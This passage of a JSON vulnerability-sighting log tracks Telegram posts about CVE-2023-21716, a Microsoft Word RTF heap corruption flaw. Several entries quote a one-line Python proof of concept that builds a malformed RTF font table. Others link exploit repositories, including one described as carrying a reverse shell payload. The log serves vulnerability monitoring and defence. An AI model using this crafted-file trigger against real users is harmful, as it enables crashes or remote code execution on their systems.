"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/sysadm_in_up/2066", "content": "/ CVE-2024-21413 - Expect Script POC\n\nMicrosoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 (through the preview panel) CVSS:3.1 9.8 / 8.5:\n\nhttps://github.com/duy-31/CVE-2024-21413", "creation_timestamp": "2026-07-30T00:03:04.187417Z"}, {"uuid": "8b5c873d-1df7-4cd6-8601-e83a76296fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/14948", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2023-21716*\nGithub: https://github.com/Lord-of-the-IoT/CVE-2023-21716", "creation_timestamp": "2026-07-31T00:00:30.558990Z"}, {"uuid": "1a73a3ff-f30a-4617-9574-7847f4a02d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/13713", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Word\n\n\u0412 \u0441\u0435\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f proof-of-concept \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0432 Microsoft Office. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 9,8 \u0431\u0430\u043b\u043b\u0430 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVSS \u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b RTF.\n\nhttps://xakep.ru/2023/03/07/cve-2023-21716-poc/", "creation_timestamp": "2023-03-07T11:34:15.000000Z"}, {"uuid": "ef414afc-483d-45fb-82c5-22cdb58476bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/anti_malware/14499", "content": "PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (proof-of-concept) \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0443\u0436\u0435 \u043b\u0435\u0436\u0438\u0442 \u0432 \u0421\u0435\u0442\u0438. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Microsoft Word, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.", "creation_timestamp": "2023-03-06T15:06:30.000000Z"}, {"uuid": "ea497d24-831f-47b6-879b-a2ddfb74cbb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/arvin_club/6564", "content": "CVE-2023-21716 Microsoft Word RCE exploit\nPoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))\nhttps://twitter.com/jduck/status/1632471544935923712", "creation_timestamp": "2023-03-08T08:44:07.000000Z"}, {"uuid": "19b13621-3ce9-402a-af41-da9b70675b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7881", "content": "#exploit\n1. CVE-4045-2021:\nTP-Link Tapo c200 Camera - Unauthenticated RCE\nhttps://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce\n\n2. CVE-2023-21716:\nMS Word RCE Python PoC\nopen(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))\n\n3. CVE-2023-0215:\nUAF in OpenSSL <3.0.7\nhttps://seclists.org/oss-sec/2023/q1/129", "creation_timestamp": "2023-03-07T11:03:01.000000Z"}, {"uuid": "28dbfe7c-d71b-4881-a250-9f7650f03139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/4787", "content": "CVE-2023-21716(Microsoft Word RCE vuln) Python PoC \n\nopen(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))\n\n#CVE #RCE #POC \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2023-05-20T00:26:09.000000Z"}, {"uuid": "6781127f-dbab-435a-8a04-4eabc0f5df76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/zW5Rcm0_CfibKamRtenyK79RRnelNG4IJx04YJABetV6veSC", "content": "", "creation_timestamp": "2023-03-07T13:38:46.000000Z"}, {"uuid": "d8e31de7-e983-4fbf-81d0-3cb4b208f191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/10863", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21716*\nGithub: https://github.com/JMousqueton/CVE-2023-21716", "creation_timestamp": "2026-07-31T05:00:03.653751Z"}, {"uuid": "68764b49-7f88-498f-af32-e16629efd482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/9070", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2023-21716_exploit*\nGithub: https://github.com/hv0l/CVE-2023-21716_exploit", "creation_timestamp": "2026-07-31T12:00:04.581005Z"}, {"uuid": "734f8155-af71-49e9-89b2-f2a1c4aff26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/7754", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21716_YARA_Results*\nGithub: https://github.com/mikesxrs/CVE-2023-21716_YARA_Results", "creation_timestamp": "2026-07-31T17:00:04.135103Z"}, {"uuid": "50b6981a-7886-4475-8e45-61686a180afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-29T23:00:12.313044Z"}, {"uuid": "8d5457b6-c4c2-4d18-974e-f8aca807ef20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/cisoclub/2307", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (27 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u2013 6 \u043c\u0430\u0440\u0442\u0430)\n\n1\ufe0f\u20e3 \ud83c\udde9\ud83c\uddea\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 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"https://t.me/CVEhub/9070", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2023-21716_exploit*\nGithub: https://github.com/hv0l/CVE-2023-21716_exploit", "creation_timestamp": "2026-08-01T00:00:33.054330Z"}, {"uuid": "bdde9b27-f4dd-4f06-ae50-87a6d9831a94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/10863", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21716*\nGithub: https://github.com/JMousqueton/CVE-2023-21716", "creation_timestamp": "2026-08-01T00:00:40.743998Z"}, {"uuid": "cef5ca0f-9892-4993-a6f7-95f81bc37df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/cisoclub/2307", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (27 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u2013 6 \u043c\u0430\u0440\u0442\u0430)\n\n1\ufe0f\u20e3 \ud83c\udde9\ud83c\uddea\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 Wago \u0437\u0430\u044f\u0432\u0438\u043b \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0432\u043e\u0438\u0445 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\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \ud83d\udcbb\u041f\u041a \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n3\ufe0f\u20e3 \u0412 \u0441\u0435\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f proof-of-concept \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0432 \ud83d\udcc4Microsoft Office. \u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 9,8 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 \ud83d\udcca\u043e\u0446\u0435\u043d\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVSS. \n\n4\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcbe\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0435\u0451 \u260e\ufe0fIP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u0441\u0435\u0440\u0438\u0439 6800, 7800, 7900 \u0438 8800.\n\n5\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \ud83d\udd0e\u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0446\u0435\u043b\u044b\u0439 \u0440\u044f\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 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\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-08-04T00:00:26.587982Z"}, {"uuid": "12d5e8cb-ea4a-416a-922c-0a0656312e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2066", "content": "/ CVE-2024-21413 - Expect Script POC\n\nMicrosoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 (through the preview panel) CVSS:3.1 9.8 / 8.5:\n\nhttps://github.com/duy-31/CVE-2024-21413", "creation_timestamp": "2026-08-04T02:00:04.114536Z"}, {"uuid": "feaa1d17-5d09-4b5b-8599-d19beecec734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-31T00:00:46.154791Z"}, {"uuid": "2e5ebd73-c23e-4ab8-810a-62f5656b2065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2066", "content": "/ CVE-2024-21413 - Expect Script POC\n\nMicrosoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 (through the preview panel) CVSS:3.1 9.8 / 8.5:\n\nhttps://github.com/duy-31/CVE-2024-21413", "creation_timestamp": "2026-08-05T00:00:58.898000Z"}, {"uuid": "804105d8-21df-42f1-9e13-7125d1b4a1ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/UmuNY4LfBfSU_FX5R-uebZvyX1exydUHga06-YUYbEohmm0", "content": "", "creation_timestamp": "2026-06-08T15:00:06.000000Z"}, {"uuid": "75e29150-9f27-4fc3-a268-edbbf583dc36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/ad_poheque/42", "content": "https://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md", "creation_timestamp": "2026-08-11T18:00:03.107907Z"}, {"uuid": "26c55f19-d5e0-4ad8-8789-1fabfd0c788a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87865", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2023-21716\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a REGGYRAIDER\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 11:37:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T12:00:05.091792Z"}, {"uuid": "e8d7043a-6981-4baa-8706-b1dd61041b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87865", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2023-21716\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a REGGYRAIDER\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 11:37:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:44.896648Z"}, {"uuid": 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"https://t.me/cisoclub/2307", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (27 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u2013 6 \u043c\u0430\u0440\u0442\u0430)\n\n1\ufe0f\u20e3 \ud83c\udde9\ud83c\uddea\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 Wago \u0437\u0430\u044f\u0432\u0438\u043b \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0432\u043e\u0438\u0445 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\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \ud83d\udcbb\u041f\u041a \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n3\ufe0f\u20e3 \u0412 \u0441\u0435\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f proof-of-concept \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0432 \ud83d\udcc4Microsoft Office. \u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 9,8 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 \ud83d\udcca\u043e\u0446\u0435\u043d\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVSS. \n\n4\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcbe\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0435\u0451 \u260e\ufe0fIP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u0441\u0435\u0440\u0438\u0439 6800, 7800, 7900 \u0438 8800.\n\n5\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \ud83d\udd0e\u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0446\u0435\u043b\u044b\u0439 \u0440\u044f\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 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\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-29T12:03:10.914721Z"}, {"uuid": "441f9588-39d9-44f0-8a3c-d1da094bd869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/sysadm_in_up/2066", "content": "/ CVE-2024-21413 - Expect Script POC\n\nMicrosoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 (through the preview panel) CVSS:3.1 9.8 / 8.5:\n\nhttps://github.com/duy-31/CVE-2024-21413", "creation_timestamp": "2026-07-29T12:03:18.468767Z"}, {"uuid": "90bcadf4-414b-424e-962f-7f66c320e5f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/CVEhub/14948", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2023-21716*\nGithub: https://github.com/Lord-of-the-IoT/CVE-2023-21716", "creation_timestamp": "2026-07-30T00:00:44.996580Z"}, {"uuid": "33517df9-80bd-40b7-9e92-460c78a9ee7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/CVEhub/10863", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21716*\nGithub: https://github.com/JMousqueton/CVE-2023-21716", "creation_timestamp": "2026-07-30T00:01:05.821208Z"}, {"uuid": "f81b9a17-9b1f-44d6-8fa6-420a3675e630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/CVEhub/9070", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2023-21716_exploit*\nGithub: https://github.com/hv0l/CVE-2023-21716_exploit", "creation_timestamp": "2026-07-30T00:01:16.169270Z"}, {"uuid": "b11c1d78-4593-4242-98e0-e4f1de5e482e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/CVEhub/7754", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21716_YARA_Results*\nGithub: https://github.com/mikesxrs/CVE-2023-21716_YARA_Results", "creation_timestamp": "2026-07-30T00:01:25.263144Z"}, {"uuid": 